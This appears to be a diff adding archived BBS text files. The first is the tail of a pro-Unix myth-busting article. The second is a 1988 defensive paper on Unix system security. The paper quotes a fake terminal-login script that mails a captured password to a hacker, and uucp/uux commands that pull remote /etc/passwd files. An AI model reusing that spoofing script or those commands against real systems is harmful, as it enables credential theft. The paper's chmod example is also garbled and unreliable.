MS-DOS. THE<48>DIFFERENCES MIGHT BE COMPARED MORE TO THE DIFFERENCES BETWEEN
PC-DOS AND MS-DOS. SURE THERE ARE DIFFERENCES AT VARIOUS LEVELS, BUT WHO
CARES? NON-BINARY SOFTWARE THAT RUNS ON ONE CAN RUN UNDER THE OTHER.
THE PROBLEM WITH DEFINING A "STANDARD" UNIX IS MORE AN EMBARRASSMENT OF
RICHES THAN ANYTHING ELSE. SO MANY PEOPLE HAVE MADE SO MANY ENHANCEMENTS TO
THEIR UNIX THAT THEY SERVE TO EXPAND THE DEFINITION OF UNIX RATHER THAN REFINE
IT. UNIX ALSO RUNS ON A VARIETY OF PROCESSORS AND, AS IS ALWAYS THE CASE WHEN
YOU PORT OVER VARIOUS PROCESSORS, PROGRAMS HAVE TO BE RECOMPILED TO RUN, BUT
THIS ISN'T THE FAULT OF UNIX, IT'S THE NATURE OF REALITY. WE'VE MADE HUNDREDS
OF UNIX PORTS AND, COMPARED TO PORTS BETWEEN OTHER OPERATING SYSTEMS, IT'S A
SNAP.
MYTH #2: UNIX IS SLOW.
THE QUESTION HERE IS NOT REALLY IS UNIX TOO SLOW. EVERYTHING IS TOO SLOW.
THE QUESTION IS HOW DOES IT COMPARE WITH OTHER OPERATING SYSTEMS. NO ONE
CLAIMS THAT MS-DOS IS TOO SLOW, BUT UNIX (IN THE GUISE OF SCO XENIX) RUNS MANY
TIMES FASTER ON THE SAME BOX THAN DOES MS-DOS. IN PERFORMING ANY "OPERATING
SYSTEM" INTENSIVE TASK SUCH AS DISK ACCESS OR SERIAL OUTPUT, MS-DOS RANGES FROM
TWO TO TEN TIMES SLOWER IN BENCHMARKS AGAINST XENIX. THE MORE DISK ACCESS THE
WORSE MS-DOS PERFORMS BY COMPARISON SIMPLY BECAUSE, UNLIKE CALCULATIONS, DISK
ACCESS IS CONTROLLED PRIMARILY BY THE OPERATING SYSTEM.
WHEN WE COMPARE UNIX TO OS/2 FOR SUPPORT OF MULTIPLE SIMULTANEOUS
PROCESSES, RECENT TESTS HAVE SHOWN THAT, ON THE SAME HARDWARE, OS/2 STARTS OUT
ABOUT THE SAME SPEED, BUT THEN DEGRADES AS MORE PROCESSES ARE ADDED ABOUT TEN
TIMES FASTER THAN THE UNIX MACHINE. OS/2 USING THE SAME BASIC DISK
ORGANIZATION AS MS-DOS HAS THE SAME PROBLEMS WITH SLOW DISK ACCESS. ARE THERE
FASTER OPERATING SYSTEMS? FOR DOING CERTAIN THINGS, CERTAINLY. THIS IS
ESPECIALLY TRUE OF OPERATING SYSTEMS THAT HAVE BEEN OPTIMIZED (AS YOU WOULD
EXPECT MS-DOS TO BE) FOR ONE SPECIFIC TYPE OF HARDWARE. ARE THERE ANY
OPERATING SYSTEMS THAT RUN ON AS WIDE A VARIETY OF HARDWARE THAT ARE FASTER?
NO.
MYTH #3: UNIX IS TOO HARD TO USE.
ONCE MORE, EVERYTHING IS TOO HARD TO USE, BUT IF WE COMPARE UNIX WITH
MS-DOS, WE DISCOVER THAT, FOR DOING SIMILAR TASKS -- CREATING DIRECTORIES,
COPYING AND MOVING FILES, AND OTHER COMMON HOUSEKEEPING TASKS -- UNIX COMMANDS
ARE NO MORE DIFFICULT THAN THEIR MS-DOS COUNTERPARTS. BOTH SYSTEMS REQUIRE
THAT YOU MEMORIZE THE COMMANDS AND THEIR SYNTAX. THIS IS A PRETTY COMPLICATED
FORM OF OPERATING SYSTEM CONTROL, BUT, IF YOU WANT SOMETHING EASIER, YOU CAN BY
AN EASY-TO-USE "SHELL" FOR EITHER SYSTEM THAT PROMPTS YOU THROUGH ALL THE
COMMANDS.
THE PROBLEM WITH UNIX IS NOT THAT IT IS HARDER THAN MS-DOS, BUT THAT IT IS
SO MUCH MORE POWERFUL. WHERE MS-DOS HAS A COUPLE OF DOZEN DIFFERENT THINGS YOU
CAN DO AT THE OPERATING SYSTEM LEVEL, UNIX PROVIDES HUNDREDS. THE DEPTH AND
POWER OF UNIX IS VERY INTIMIDATING, BUT YOU MUST REMEMBER THAT YOU AREN'T
REQUIRED TO KNOW IT ALL TO USE THE SYSTEM. YOU USE WHAT YOU KNOW AND EXPAND ON
YOUR KNOWLEDGE ON AN ON-GOING BASIS. NO ONE EVER FINISHES LEARNING UNIX. UNIX
UTILITIES SUCH AS THE VISUAL EDITOR "VI" ARE SO POWERFUL THAT YOU CAN STILL BE
LEARNING NEW FEATURES AFTER YOU HAVE BEEN USING THE PRODUCT FOR YEARS.
THE OPERATING SYSTEM DEPTH AND POWER IS ONE OF THE REASONS UNIX IS SO
POPULAR. ALL OF THE HUNDREDS, PERHAPS THOUSANDS, OF FUNCTIONS YOU FIND ONLY ON
A UNIX SYSTEM ARE ALL OF THE THINGS THAT USERS OF A SOPHISTICATED COMPUTER WANT
TO USE AT ONE TIME OR ANOTHER. THE DIFFERENCE IS THAT ON UNIX, THESE FUNCTIONS
ARE ALREADY AVAILABLE. YOU DON'T HAVE TO FIND, BUY OR WRITE THEM. YOU JUST
HAVE TO LEARN THEM.
MYTH #4: THERE ARE NO APPLICATIONS FOR UNIX.
THIS IS PERHAPS THE STRANGEST CLAIM OF ALL, SINCE THE REASON THAT MOST
COMPUTER MANUFACTURERS BUILD UNIX MACHINES IS BECAUSE THERE *ARE* SO MANY
APPLICATIONS AVAILABLE. AS THE FIRST OPERATING SYSTEM THAT SPANS ALL TYPES OF
HARDWARE, FROM MICRO-COMPUTERS TO SUPER COMPUTERS, THE APPLICATION BASE FOR
UNIX IS UNRIVALED IN THE COMPUTER WORLD EXCEPT FOR THOSE APPLICATIONS WRITTEN
FOR MS-DOS.
THERE ARE CERTAINLY MORE APPLICATIONS WRITTEN FOR MS-DOS THAN THERE ARE
APPLICATIONS WRITTEN FOR UNIX. BUT FOR MULTI-USER, MULTI-TASKING SYSTEMS UNIX
IS UNRIVALED. THERE IS A PROBLEM, HOWEVER, WITH APPLICATION AVAILABILITY. IN
THE UNIX WORLD, MOST APPLICATIONS ARE NOT PACKAGED FOR RETAIL SALE. ALMOST ALL
APPLICATIONS ARE SOLD DIRECTLY BY THE MANUFACTURER, INSTALLING IT AT USER
SITES, OR BY VARS. SINCE THERE IS NO RETAIL MARKET FOR UNIX, THERE REALLY
HASN'T BEEN MUCH OF AN EFFORT TO COLLECT AND DISTRIBUTE UNIX APPLICATIONS IN AN
ORGANIZED FASHION. PACKAGES ARE AVAILABLE, BUT THE MARKET FOR UNIX MUST BECOME
MORE ORGANIZED BEFORE THE HOW AND WHERE OF APPLICATION BUYING IS SIMPLIFIED.
MYTH #5: UNIX WILL BE REPLACED BY OS/2.
WE'VE HEARD THIS OVER AND OVER: THE NEXT "THING" IS GOING TO REPLACE
UNIX. IT'S BEEN SAID ABOUT PICK, VM AND CONCURRENT DOS. ALL OF THESE PRODUCTS
ARE JUST SURVIVING IN A MARKET IN WHICH UNIX IS COMING TO DOMINATE. NOW IT'S
OS/2'S TURN.
FIRST, UNIX, AS AN OPERATING SYSTEM STANDARD, CAN'T BE REPLACED BY ANY ONE
OPERATING SYSTEM. THIS IS BECAUSE NO OPERATING SYSTEM IS AVAILABLE ON THE
RANGE OF MACHINES ON WHICH UNIX IS OFFERED. ONLY PEOPLE WHO ARE LOOKING
EXCLUSIVELY AT THE INTEL MICRO-COMPUTER WORLD FORSEE SOME KIND OF DOMINANCE BY
OS/2. [I DOUBT THAT YOU'LL SEE OS/2 ON THE CRAY 2 -- UNIX, UNDER THE NAME OF
UNICOS IS ALREADY OPERATING NICELY THERE. -ED.]
EVEN IF YOU LOOK AT JUST MICRO-COMPUTERS, THE IDEA THAT OS/2 IS GOING TO
OUTMODE UNIX IS CLEARLY A FANTASY. OS/2 IS A SINGLE USER OPERATING SYSTEM.
UNIX IS A MULTI-USER OPERATING SYSTEM. AS LONG AS THERE IS A DEMAND FOR
MULTI-USER SYSTEMS -- AND THAT DEMAND IS DRAMATICALLY INCREASING AS NEW
PROCESSORS MAKE MULTI-USER SYSTEM MORE AFFORDABLE -- UNIX HAS A MARKET.
MICROSOFT, THE MAKERS OF OS/2, HAVE SAID OVER AND OVER THAT OS/2 WILL NEVER BE
A MULTI-USER OPERATING SYSTEM. OS/2 MACHINES CAN BE LINKED INTO NETWORKS, BUT
DON'T SUPPORT MULTIPLE USERS ON A SINGLE PROCESSOR.
MYTH #6: UNIX WILL BE REPLACED BY NETWORKS.
UNIX DOESN'T COMPETE WITH NETWORKS, IT SUPPORTS THEM. NETWORKS ARE GOING TO
BECOME MORE POPULAR. UNIX-BASED NETWORKS ARE GOING TO BECOME EVEN MORE POPULAR
BECAUSE THEY SUPPORT ALL TYPES OF VERY DIFFERENT SYSTEMS. NOTHING OFFERS THE
RANGE OF COMMUNICATION AND NETWORKING FEATURES THAT UNIX DOES, AND BECAUSE OF
THAT, WE EXPECT TO SEE THE NETWORK MARKET BECOME MORE AND MORE DOMINATED BY
UNIX-BASED SYSTEMS.
DOES THIS MEAN THE MAIN USE OF UNIX IN THE MICRO-COMPUTER WORLD WILL BE AS
A FILE SERVER? CERTAINLY NOT. BECAUSE OF ECONOMIC FACTORS, THE MARKET FOR
UNIX MULTI-USER SYSTEMS WHERE USERS WORK AT INEXPENSIVE DUMB TERMINALS WILL
CONTINUE TO GROW FASTER THAN THE GENERAL MARKET. FOR SUPPORTING MULTIPLE USERS
IN A WORK ENVIRONMENT, NETWORKS ARE TWO TO THREE TIMES MORE EXPENSIVE THAN A
UNIX-BASED SYSTEM. PERHAPS THE COST FACTOR IS UNIMPORTANT TO A CERTAIN
PERCENTAGE OF COMPUTER PURCHASERS, BUT THERE IS A SUBSTANTIAL NUMBER OF
POTENTIAL CUSTOMERS WHO CAN'T AFFORD A MULTI-USER SYSTEM AT THAT PRICE. THESE
CUSTOMERS HAVE BOUGHT AND WILL CONTINUE TO BY UNIX-BASED SYSTEMS.
WHY UNIX?
WHY DOES UNIX CONTINUE TO PROSPER? IT IS THE ONLY STANDARD FOR MULTI-USER
SYSTEMS. FOR APPLICATIONS DEVELOPERS WHO WANT TO DEVELOP MULTI-USER PROGRAMS,
IT IS THE ONE PLATFORM FOR WHICH THEY CAN DEVELOP SOFTWARE AND BE ASSURED THAT
THAT SOFTWARE WILL RUN ON A WIDE VARIETY OF MACHINES. IT GIVES HARDWARE
DEVELOPERS AN EXISTING BASE OF APPLICATIONS FOR NEW MACHINES. IT GIVES
SOFTWARE DEVELOPERS INDEPENDENCE FROM ANY ONE MACHINE OR MANUFACTURER.
RECOGNIZING THIS, BOTH HARDWARE AND SOFTWARE DEVELOPERS ARE TURNING TOWARD UNIX
AS THEIR FUTURE.
COMPARED WITH MS-DOS AND OS/2, ITS SINGLE-USER COUSINS, UNIX IS FASTER AND
INFINITELY MORE POWERFUL. AS THE POPULARITY OF UNIX-BASED NETWORKS GROWS, WE
EXPECT THAT MORE AND MORE DOS USERS WILL DISCOVER THE MANY BENEFITS OF USING
UNIX. AS PEOPLE TURN MORE TOWARD MULTI-USER INSTALLATIONS, COST FACTORS WILL
ALSO CONTINUE TO INCREASE THE DISTRIBUTION OF UNIX-BASED SYSTEMS.
FINALLY, AS HARDWARE TECHNOLOGY MOVE FORWARD, COMPUTER MANUFACTURERS HAVE
A SIMPLE CHOICE: DO THEY DEVELOP A NEW OPERATING SYSTEM FOR EACH NEW HARDWARE
TECHNOLOGY OR DO THEY UTILIZE UNIX? DEVELOPING A NEW OPERATING SYSTEM CAN COST
MILLIONS AND TAKE YEARS. AFTER DEVELOPING ANY NEW OPERATING SYSTEM, THERE ARE
NO APPLICATIONS THAT RUN ON IT. IN COMPARISON, UNIX IS READY NOW AND THE OEM
LICENSE COSTS A SMALL FRACTION OF WHAT IS WOULD COST TO DEVELOP A NEW OPERATING
SYSTEM. AS A BONUS, WHEN YOU USE UNIX YOU INHERIT A LARGE BASE OF ALREADY
WRITTEN APPLICATIONS. IF YOU WERE RUNNING A COMPUTER COMPANY, WHICH ROUTE
WOULD YOU CHOOSE? YOU CAN TEST YOUR GUESS AGAINST THE MARKETPLACE. MOTOROLA
JUST RELEASED A NEW PROCESSOR CHIP SET CALLED THE 88000. HOW MUCH DO YOU WANT
TO BET THAT UNIX IS THE FIRST OPERATING SYSTEM OFFERED FOR FOR THE COMPUTER
USING THIS CHIP? SINCE NEW HARDWARE IS INEVITABLE, UNIX IS INEVITABLE.
DESPITE WHAT YOU MAY HAVE HEARD, UNIX IS THE FUTURE.
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
Another file downloaded from: NIRVANAnet(tm)
& the Temple of the Screaming Electron Jeff Hunter 510-935-5845
Rat Head Ratsnatcher 510-524-3649
Burn This Flag Zardoz 408-363-9766
realitycheck Poindexter Fortran 415-567-7043
Lies Unlimited Mick Freen 415-583-4102
Specializing in conversations, obscure information, high explosives,
arcane knowledge, political extremism, diversive sexuality,
insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS.
Full access for first-time callers. We don't want to know who you are,
where you live, or what your phone number is. We are not Big Brother.
"Raw Data for Raw Nerves"
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X

521
textfiles.com/hacking/UNIX/unixsec.txt Normal file
View File

@@ -0,0 +1,521 @@
+--------------------------------------+
| "Unix System Security Issues" |
| Typed by: |
| Whisky |
| (from Holland, Europe) |
+--------------------------------------+
| From |
| Information Age |
| Vol. 11, Number 2, April 1988 |
| Written By: |
| Michael J. Knox and Edward D. Bowden |
+--------------------------------------+
Note: This file was sent to me from a friend in Holland. I felt
that it would be a good idea to present this file to the
UNIX-hacker community, to show that hackers don't always
harm systems, but sometimes look for ways to secure flaws
in existing systems. -- Jester Sluggo !!
There are a number of elements that have lead to the popularity of the
Unix operating system in the world today. The most notable factors are
its portability among hardware platforms and the interactive programming
environment that it offers to users. In fact, these elements have had
much to do with the succesful evolution of the Unix system in the
commercial market place. (1, 2)
As the Unix system expands further into industry and government, the
need to handle Unix system security will no doubt become imperative. For
example, the US government is committing several millon dollars a year
for the Unix system and its supported hardware. (1) The security
requirements for the government are tremendous, and one can only guess
at the future needs of security in industry.
In this paper, we will cover some of the more fundamental security
risks in the Unix system. Discussed are common causes of Unix system
compromise in such areas as file protecion, password security,
networking and hacker violations. In our conclusion, we will comment
upon ongoing effects in Unix system security, and their direct influence
on the portability of the Unix operating system.
FILE AND DIRECTORY SECURITY
In the Unix operating system environment, files and directories are
organized in a tree structure with specific access modes. The setting of
these modes, through permission bits (as octal digits), is the basis of
Unix system security. Permission bits determine how users can access
files and the type of access they are allowed. There are three user
access modes for all Unix system files and directories: the owner, the
group, and others. Access to read, write and execute within each of the
usertypes is also controlled by permission bits (Figure 1). Flexibility
in file security is convenient, but it has been criticized as an area of
system security compromise.
Permission modes
OWNER GROUP OTHERS
------------------------------------------------------------
rwx : rwx : rwx
------------------------------------------------------------
r=read w=write x=execute
-rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file
drwx------ 2 sam A1 2 May 01 12:01 directory
FIGURE 1. File and directory modes: File shows Bob as the owner, with
read and write permission. Group has write permission, while Others has
read and execute permission. The directory gives a secure directory not
readable, writeable, or executable by Group and Others.
Since the file protection mechanism is so important in the Unix
operating system, it stands to reason that the proper setting of
permission bits is required for overall security. Aside from user
ignorance, the most common area of file compromise has to do with the
default setting of permission bits at file creation. In some systems the
default is octal 644, meaning that only the file owner can write and
read to a file, while all others can only read it. (3) In many "open"
environments this may be acceptable. However, in cases where sensitive
data is present, the access for reading by others should be turned off.
The file utility umask does in fact satisfy this requirement. A
suggested setting, umask 027, would enable all permission for the file
owner, disable write permission to the group, and disable permissions
for all others (octal 750). By inserting this umask command in a user
.profile or .login file, the default will be overritten by the new
settings at file creation.
The CHMOD utility can be used to modify permission settings on files
and directories. Issuing the following command,
chmod u+rwd,g+rw,g-w,u-rwx file
will provide the file with the same protection as the umask above
(octal 750). Permission bits can be relaxed with chmod at a later
time, but at least initially, the file structure can be made secure
using a restrictive umask.
By responsible application of such utilities as umask and chmod, users
can enhance file system security. The Unix system, however, restricts
the security defined by the user to only owner, group and others. Thus,
the owner of the file cannot designate file access to specific users. As
Kowack and Healy have pointed out, "The granularity of control that
(file security) mechanisms is often insufficient in practice (...) it is
not possible to grant one user write protection to a directory while
granting another read permission to the same directory. (4) A useful
file security file security extension to the Unix system might be
Multics style access control lists.
With access mode vulnerabilities in mind, users should pay close
attention to files and directories under their control, and correct
permissions whenever possible. Even with the design limitations in mode
granularity, following a safe approach will ensure a more secure Unix
system file structure.
SUID and SGID
The set user id (suid) and set group id (sgid) identify the user and
group ownership of a file. By setting the suid or sgid permission bits
of an executable file, other users can gain acces to the same resources
(via the executable file) as that of the real file's owner.
For Example:
Let Bob's program bob.x be an executable file accessible to others. When
Mary executes bob.x, Mary becomes the new program owner. If during
program execution bob.x requests access to file browse.txt, then Mary
must have previous read or write permission to browse.txt. This would
allow Mary and everyone else total access to the contents of browse.txt,
even when she is not running bob.x. By turning on the suid bit of bob.x,
Mary will have the same access permissions to browse.txt as does the
program's real owner, but she will only have access to browse.txt during
the execution of bob.x. Hence, by incorperating suid or sgid, unwelcome
browsers will be prevented form accessing files like browse.txt
Although this feature appears to offer substantial access control to
Unix system files, it does have one critical drawback. There is always
the chance that the superuser (system administrator) may have a writable
file for others that is also set with suid. With some modification in
the file's code (by a hacker), an executable file like this would enable
a user to become a superuser. Within a short period of time this
violator could completely compromise system security and make it
inaccessible, even to other superusers. As Farrow (5) puts it, "(...)
having a set-user-id copy of the shell owned by root is better than
knowing the root password".
To compensate for this security threat, writable suid files should be
sought out and eliminated by the system administrator. Reporting of such
files by normal users is also essential in correcting existing security
breaches.
DIRECTORIES
Directory protection is commonly overlooked component of file security
in the Unix system. Many system administrators and users are unaware of
the fact, that "publicly writable directories provide the most
opportunities for compromising the Unix system security" (6).
Administrators tend to make these "open" for users to move around and
access public files and utilities. This can be disastrous, since files
and other subdirectories within writable directories can be moved out
and replaced with different versions, even if contained files are
unreadable or unwritable to others. When this happens, an unscrupulous
user or a "password breaker" may supplant a Trojan horse of a commonly
used system utility (e.g. ls, su, mail and so on). For example, imagine
For example:
Imagine that the /bin directory is publicly writable. The perpetrator
could first remove the old su version (with rm utility) and then
include his own fake su to read the password of users who execute
this utility.
Although writable directories can destroy system integrity, readable
ones can be just as damaging. Sometimes files and directories are
configured to permit read access by other. This subtle convenience can
lead to unauthorized disclosure of sensitive data: a serious matter when
valuable information is lost to a business competitor.
As a general rule, therefore, read and write access should be removed
from all but system administrative directories. Execute permission will
allow access to needed files; however, users might explicitly name the
file they wish to use. This adds some protection to unreadable and
unwritable directories. So, programs like lp file.x in an unreadable
directory /ddr will print the contents of file.x, while ls/ddr would not
list the contents of that directory.
PATH VARIABLE
PATH is an environment variable that points to a list of directories,
which are searched when a file is requested by a process. The order of
that search is indicated by the sequence of the listed directories in
the PATH name. This variable is established at user logon and is set up
in the users .profile of .login file.
If a user places the current directory as the first entry in PATH,
then programs in the current directory will be run first. Programs in
other directories with the same name will be ignored. Although file and
directory access is made easier with a PATH variable set up this way, it
may expose the user to pre-existing Trojan horses.
To illustrate this, assume that a trojan horse, similar to the cat
utility, contains an instruction that imparts access privileges to a
perpetrator. The fake cat is placed in a public directory /usr/his
where a user often works. Now if the user has a PATH variable with the
current directory first, and he enters the cat command while in
/usr/his, the fake cat in /usr/his would be executed but not the system
cat located in /bin.
In order to prevent this kind of system violation, the PATH variable
must be correctly set. First, if at all possible, exclude the current
directory as the first entry in the PATH variable and type the full path
name when invoking Unix system commands. This enhances file security,
but is more cumbersome to work with. Second, if the working directory
must be included in the PATH variable, then it should always be listed
last. In this way, utilities like vi, cat, su and ls will be executed
first from systems directories like /bin and /usr/bin before searching
the user's working directory.
PASSWORD SECURITY
User authentication in the Unix system is accomplished by personal
passwords. Though passwords offer an additional level of security
beyond physical constraints, they lend themselves to the greatest area
of computer system compromise. Lack of user awareness and responsibility
contributes largely to this form of computer insecurity. This is true of
many computer facilities where password identification, authentication
and authorization are required for the access of resources - and the
Unix operating system is no exception.
Password information in many time-sharing systems are kept in
restricted files that are not ordinarily readable by users. The Unix
system differs in this respect, since it allows all users to have read
access to the /etc/passwd file (FIGURE 2) where encrypted passwords and
other user information are stored. Although the Unix system implements a
one-way encryption method, and in most systems a modified version of the
data encryption standard (DES), password breaking methods are known.
Among these methods, brute-force attacks are generally the least
effective, yet techniques involving the use of heuristics (good guesses
and knowledge about passwords) tend to be successful. For example, the
/etc/passwd file contains such useful information as the login name and
comments fields. Login names are especially rewarding to the "password
breaker" since many users will use login variants for passwords
(backward spelling, the appending of a single digit etc.). The comment
field often contains items such as surname, given name, address,
telephone number, project name and so on. To quote Morris and Grampp (7)
in their landmark paper on Unix system security:
[in the case of logins]
The authors made a survey of several dozen local machines, using as
trial passwords a collection of the 20 most common female first names,
each followed by a single digit. The total number of passwords tried was,
therefore, 200. At least one of these 200 passwords turned out to be a
valid password on every machine surveyed.
[as for comment fields]
(...) if an intruder knows something about the people using a machine,
a whole new set of candidates is available. Family and friend's names,
auto registration numbers, hobbies, and pets are particularly
productive categories to try interactively in the unlikely event that
a purely mechanical scan of the password file turns out to be
disappointing.
Thus, given a persistent system violator, there is a strong evidence,
that he will find some information about users in the /etc/passwd file.
With this in mind, it is obvious that a password file should be
unreadable to everyone except those in charge of system administration.
root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin
mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin
FIGURE 2. The /etc/passwd file. Note the comments field as underlined
terms.
Resolution of the /etc/passwd file's readability does not entirely
solve the basic problem with passwords. Educating users and
administrators is necessary to assure proper password utilization.
First, "good passwords are those that are at least six characters long,
aren't based on personal information, and have some nonalphabetic
(especially control) characters in them: 4score, my_name, luv2run" (8).
Secondly, passwords should be changed periodically but users should avoid
alternating between two passwords. Different passwords for different
machines and files will aid in protecting sensitive information.
Finally, passwords should never be available to unauthorized users.
Reduction of user ignorance about poor password choice will inevitably
make a system more secure.
NETWORK SECURITY
UUCP system
The most common Unix system network is the UUCP system, which is a group
of programs that perform the file tranfers and command execution between
remote systems. (3) The problem with the UUCP system is that users on
the network may access other users' files without access permission. As
stated by Nowitz (9),
The uucp system, left unrestricted, will let any outside user execute
commands and copy in/out any file that is readable/writable by a uucp
login user. It is up to the individual sites to be aware of this, and
apply the protections that they feel free are necessary.
This emphasizes the importance of proper implementation by the system
administrator.
There are four UUCP system commands to consider when looking into
network security with the Unix system. The first is uucp, a command used
to copy files between two Unix systems. If uucp is not properly
implemented by the system administrator, any outside user can execute
remote commands and copy files from another login user. If the file name
on another system is known, one could use the uucp command to copy files
from that system to their system. For example:
%uucp system2!/main/src/hisfile myfile
will copy hisfile from system2 in the directory /main/src to the file
myfile in the current local directory. If file transfer restrictions
exist on either system, hisfile would not be sent. If there are no
restrictions, any file could be copied from a remote user - including
the password file. The following would copy the remote system
/etc/passwd file to the local file thanks:
%uucp system2!/etc/passwd thanks
System administrators can address the uucp matter by restricting uucp
file transfers to the directory /user/spool/uucppublic. (8) If one tries
to transfer a file anywhere else, a message will be returned saying
"remote access to path/file denied" and no file transfer will occur.
The second UUCP system command to consider is the uux. Its function is
to execute commands on remote Unix computers. This is called remote
command execution and is most often used to send mail between systems
(mail executes the uux command internally).
The ability to execute a command on another system introduces a
serious security problem if remote command execution is not limited. As
an example, a system should not allow users from another system to
perform the following:
%uux "system1!cat</etc/passwd>/usr/spool/uucppublic"
which would cause system1 to send its /etc/passwd file to the system2
uucp public directory. The user of system2 would now have access to the
password file. Therefore, only a few commands should be allowed to
execute remotely. Often the only command allowed to run uux is rmail,
the restricted mail program.
The third UUCP system function is the uucico (copy in / copy out)
program. It performs the true communication work. Uucp or uux does not
actually call up other systems; instead they are queued and the uucico
program initiates the remote processes. The uucico program uses the file
/usr/uucp/USERFILE to determine what files a remote system may send or
receive. Checks for legal files are the basis for security in USERFILE.
Thus the system administrator should carefully control this file.
In addition, USERFILE controls security between two Unix systems by
allowing a call-back flag to be set. Therefore, some degree of security
can be achieved by requiring a system to check if the remote system is
legal before a call-back occurs.
The last UUCP function is the uuxqt. It controls the remote command
execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to
determine which commands will run in response to a remote execution
request. For example, if one wishes to use the electronic mail feature,
then the L.cmd file will contain the line rmail. Since uuxqt determines
what commands will be allowed to execute remotely, commands which may
compromise system security should not be included in L.cmd.
CALL THE UNIX SYSTEM
In addition to UUCP network commands, one should also be cautious of the
cu command (call the Unix system). Cu permits a remote user to call
another computer system. The problem with cu is that a user on a system
with a weak security can use cu to connect to a more secure system and
then install a Trojan horse on the stronger system. It is apparent that
cu should not be used to go from a weaker system to a stronger one, and
it is up to the system administrator to ensure that this never occurs.
LOCAL AREA NETWORKS
With the increased number of computers operating under the Unix system,
some consideration must be given to local area networks (LANs). Because
LANs are designed to transmit files between computers quickly, security
has not been a priority with many LANs, but there are secure LANs under
development. It is the job of the system manager to investigate security
risks when employing LANs.
OTHER AREAS OF COMPROMISE
There are numerous methods used by hackers to gain entry into computer
systems. In the Unix system, Trojan horses, spoofs and suids are the
primary weapons used by trespassers.
Trojan horses are pieces of code or shell scripts which usually assume
the role of a common utility but when activated by an unsuspecting user
performs some unexpected task for the trespasser. Among the many
different Trojan horses, it is the su masquerade that is the most
dangerous to the Unix system.
Recall that the /etc/passwd file is readable to others, and also
contains information about all users - even root users. Consider what a
hacker could do if he were able to read this file and locate a root user
with a writable directory. He might easily plant a fake su that would
send the root password back to the hacker. A Trojan horse similar to
this can often be avoided when various security measures are followed,
that is, an etc/passwd file with limited read acces, controlling writable
directories, and the PATH variable properly set.
A spoof is basically a hoax that causes an unsuspecting victim to
believe that a masquerading computer funtion is actually a real system
operation. A very popular spool in many computer systems is the
terminal-login trap. By displaying a phoney login format, a hacker is
able to capture the user's password.
Imagine that a root user has temporarily deserted his terminal. A
hacker could quickly install a login process like the one described by
Morris and Grampp (7):
echo -n "login:"
read X
stty -echo
echo -n "password:"
read Y
echo ""
stty echo
echo %X%Y|mail outside|hacker&
sleep 1
echo Login incorrect
stty 0>/dev/tty
We see that the password of the root user is mailed to the hacker who
has completely compromised the Unix system. The fake terminal-login acts
as if the user has incorrectly entered the password. It then transfers
control over to the stty process, thereby leaving no trace of its
existence.
Prevention of spoofs, like most security hazards, must begin with user
education. But an immediate solution to security is sometimes needed
before education can be effected. As for terminal-login spoofs, there
are some keyboard-locking programs that protect the login session while
users are away from their terminals. (8, 10) These locked programs
ignore keyboard-generated interrupts and wait for the user to enter a
password to resume the terminal session.
Since the suid mode has been previously examined in the password
section, we merely indicate some suid solutions here. First, suid
programs should be used is there are no other alternatives. Unrestrained
suids or sgids can lead to system compromise. Second, a "restricted
shell" should be given to a process that escapes from a suid process to
a child process. The reason for this is that a nonprivileged child
process might inherit privileged files from its parents. Finally, suid
files should be writable only by their owners, otherwise others may have
access to overwrite the file contents.
It can be seen that by applying some basic security principles, a user
can avoid Trojan horses, spoofs and inappropriate suids. There are
several other techniques used by hackers to compromise system security,
but the use of good judgement and user education may go far in
preventing their occurence.
CONCLUSION
Throughout this paper we have discussed conventional approaches to Unix
system security by way of practical file management, password
protection, and networking. While it can be argued that user eduction is
paramount in maintaining Unix system security (11) factors in human
error will promote some degree of system insecurity. Advances in
protection mechanisms through better-written software (12), centralized
password control (13) and identification devices may result in enhanced
Unix system security.
The question now asked applies to the future of Unix system operating.
Can existing Unix systems accommodate the security requirements of
government and industry? It appears not, at least for governmental
security projects. By following the Orange Book (14), a government
graded classification of secure computer systems, the Unix system is
only as secure as the C1 criterion. A C1 system, which has a low
security rating (D being the lowest) provides only discretionary
security protection (DSP) against browsers or non-programmer users.
Clearly this is insufficient as far as defense or proprietary security
is concerned. What is needed are fundamental changes to the Unix
security system. This has been recognized by at least three companies,
AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has made
vital changes to the kernel and file system in order to produce a C2
rated Unix operating system. To achieve this, however, they have had to
sacrifice some of the portability of the Unix system. It is hoped that
in the near future a Unix system with an A1 classification will be
realized, though not at the expense of losing its valued portability.
REFERENCES
1 Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986)
pp 50-63
2 Waite, M et al. "Unix system V primer" USA (1984)
3 Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113-128
4 Kowack, G and Healy, D "Can the holes be plugged?" Computerworld
Vol 18 (26 September 1984) pp 27-28
5 Farrow, R "Security issues and strategies for users" Unix/World
(April 1986) pp 65-71
6 Farrow, R "Security for superusers, or how to break the Unix system"
Unix/World (May 1986) pp 65-70
7 Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell
Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672
8 Wood, P H and Kochan, S G "Unix system security" USA (1985)
9 Nowitz, D A "UUCP Implementation description: Unix programmer's manual
Sec. 2" AT&T Bell Laboratories, USA (1984)
10 Thomas, R "Securing your terminal: two approaches" Unix/World
(April 1986) pp 73-76
11 Karpinski, D "Security round table (Part 1)" Unix Review
(October 1984) p 48
12 Karpinski, D "Security round table (Part 2)" Unix Review
(October 1984) p 48
13 Lobel, J "Foiling the system breakers: computer security and access
control" McGraw-Hill, USA (1986)
14 National Computer Security Center "Department of Defense trusted
computer system evaluation criteria" CSC-STD-001-83, USA (1983)
15 Stewart, F "Implementing security under Unix" Systems&Software
(February 1986)
16 Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the
Lock TCB" Proceedings of USENIX (1988)
17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs,
Government System Division, USA (August 1987)
===============================================================================
